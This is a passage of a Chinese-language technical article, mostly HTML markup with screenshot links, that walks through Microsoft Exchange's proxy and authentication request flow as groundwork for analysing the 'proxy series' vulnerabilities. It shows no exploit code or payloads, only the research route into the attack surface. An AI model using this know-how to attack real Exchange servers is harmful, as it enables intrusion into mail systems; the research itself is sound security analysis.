&#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">OnAuthenticateRequest主要是用户身份相关的，主要是匿名用户相关的。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.3524264120922832" title="null" data-w="1257" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e4766206&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZQohRDAy9ZuwfAyiacmuAE9YKlOgdJdNlj6LCo54H3uZIjh4esPWwvlw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">OnPostAuthenticateRequest，根据是否认证选择Hanlder:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.4969749351771824" title="null" data-w="1157" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f6011d05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZTnHzV3PEF1CsYfupY4NC0RVbT1Wo5m08xdm6Ns86YEF2AY9iceQdib8Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在stackoverflow上老外过了这么一句侧面说明了Request.IsAuthenticated这个属性由iis决定：</p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">it is valid no matter what type of authentication is being used (Windows, Passport, Forms or our own custom scheme)</p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">根据协议的类型，实例化对应的webhandler：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5910683012259195" title="null" data-w="1142" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=18f3e421&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZg36hqU0XIVm3IiaVe7KTaUdmlIWb9SibN1aWpYSy8z1pVITBroDCO34A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">调用Run函数</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3162995594713656" title="null" data-w="1135" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=38655934&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZZMUibYmhbmX1C6PiaEvJ3UFyKKdV37EQm6pbrVgH1wcQwlHicYPICxFng%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Run函数初始化AuthBehavior比较关键，和认证相关：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4942528735632184" title="null" data-w="1131" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b0605f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZy3uf6YII6SVC1UUupGYqQcqSiaPdO7Ob6RQB0NyAShicUJKdDkUmpXZg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要判断的当前的认证方式：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.48398576512455516" title="null" data-w="1124" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f65df40d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZKPOD9716Yv33TKUPvcc8hbhyDL89QaZIheAGOibVIzKZ9qOM9jtLlLw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">初始化hanlder后调用RemapHandler</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5061188811188811" title="null" data-w="1144" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1173dcbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZkLNpvlnrygxG1QcEWRdjiaibewUbC3czjjd3eSB4EtD8qqm6mxUOlTVg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">该方法调用获取到传入hanlder的type:</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.48158640226628896" title="null" data-w="1059" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6957711f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZHXmHePaNjC8Z2W1d03rxqbHP1w5gIF0ZqqvQGSTJqicpeckk4OHCjYQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过MgdSetRemapHandler，将web交由此hanlder进行处理</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.14366883116883117" title="null" data-w="1232" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=81835b93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZRfZsannp8ceMLRnylz87ib6bB5Xicmia691xEgAKjZkfEdkGjAqmFVLdw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来就看ews对应的handler-EwsProxyRequestHandler的业务逻辑，发现其没有普通的handler的ProcessRequest等方法。这里主要是对面对象的理解，有多重的继承关系</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2201117318435754" title="null" data-w="895" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=702610bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZf3geXIlNxcvFLxyGNXQ3wFOQWfwRe6rgl1FP7eaknCwZdMpE8ZbxNg%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.22209821428571427" title="null" data-w="896" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=84e532ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZiafKyYe6LSPqR5JKvBQlXj8rYFJrqY81qcO15mfDnLquCicVHYmUCvNQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">最终是ProxyRequestHandler类，继承了一堆接口：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.10962566844919786" title="null" data-w="1496" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0b729903&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZSkibpTBljqQicaQ6vjEaDaWDwx9uf5YJ1VNoYOic21LU8zNYYJmwicUgpw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 24px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">IHttpAsyncHanlder:</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6052083333333333" title="null" data-w="960" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=228da846&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZn2EUcQicINot6aA2OJnvtlNl1hk123UaV2Szt3bWEP5Tq49icDEpBI6g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">启动新线程，调用BeginCalculateTargetBackEnd:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4270833333333333" title="null" data-w="1248" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b1eeb73d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZWF0Sso9JiaiaZxYqHdiczLqPA0drrUX84ib6nCM8mt0S5gv2tHRfaKMQNA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">层层调用后进入BeginPorxyRequest，通过GetTargetBackEndServerUrl函数得到后端的uri：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5315638450502153" title="null" data-w="1394" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0bf2c60e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZPyFCtc3QGlWVrI8XawgbC5atjme1b3rbEmXjQ1wclWAS4gNGXBpL4w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">GetTargetBackEndServerUrl主要使用GetTargetBackEndServerUrl函数获取url，增加了一些特殊情况的判断：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.48019017432646594" title="null" data-w="1262" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=382207f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZLnicuv5dI0xomdL349Vx78YFibNsBhsGWmJKYu0RueXV6HElfOLezCQQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">GetTargetBackEndServerUrl，获取到444端口上的后端url，这里也是proxy系列漏洞出问题的地方之一。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5361356932153393" title="null" data-w="1356" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d0941885&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ1ew6bwDNEL1kdib1icEoP54AMCntic637mcbNrCyxxRhpzP5ZFeruAiaRg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">获取到uri后，使用CreateServerRequest生成对后端的请求：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4480234260614934" title="null" data-w="1366" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a8473998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZn0ePnwqibe33SSJXBibWKoyxydjgSIv0XfhmZb837lgOiaKia7a5Kic3AcQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">CreateServerReques增加了一些请求头，PrepareServerRequest函数对请求包进行进一步处理：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4416727806309611" title="null" data-w="1363" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=029186ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZdGTwTq3yRMUkYicwTf2gjJia7Qo3Q45A4zQiabw9Zv48N9EicPQfeml6OQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">PrepareServerRequest增加权限的判断，如果权限足够，生成kerberos认证头，如下</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.29298892988929887" title="null" data-w="1355" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9aa4f06d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZGbNicOgVAcrw6tgFav1aM4qXpazC48xmUPszk0vyNUGCv6wWgqNlUUA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接着调用AddProtocolSpecificHeadersToServerRequest增加特殊的请求头：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3399852180339985" title="null" data-w="1353" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4eb40cb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZbJu2y7Hjx7ibiaHNGeCQxrOQUtibQZldwbL6hYT9DgTHo9qEChLy6FicxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">CommonAccessToken比较关键，这个token怎么生成我们后面再详细聊。之后对这个CommonAccessToken的判断，若的system或者机器账户会报错。CommonAccessToken肯定包含用户的身份信息。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3614735226400614" title="null" data-w="1303" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2c4ef1f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ4LzAvIVd4kiaib8kHYvGzGictFw5T9roTd1r2s6ia5uCpCIhBWLyss46wQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 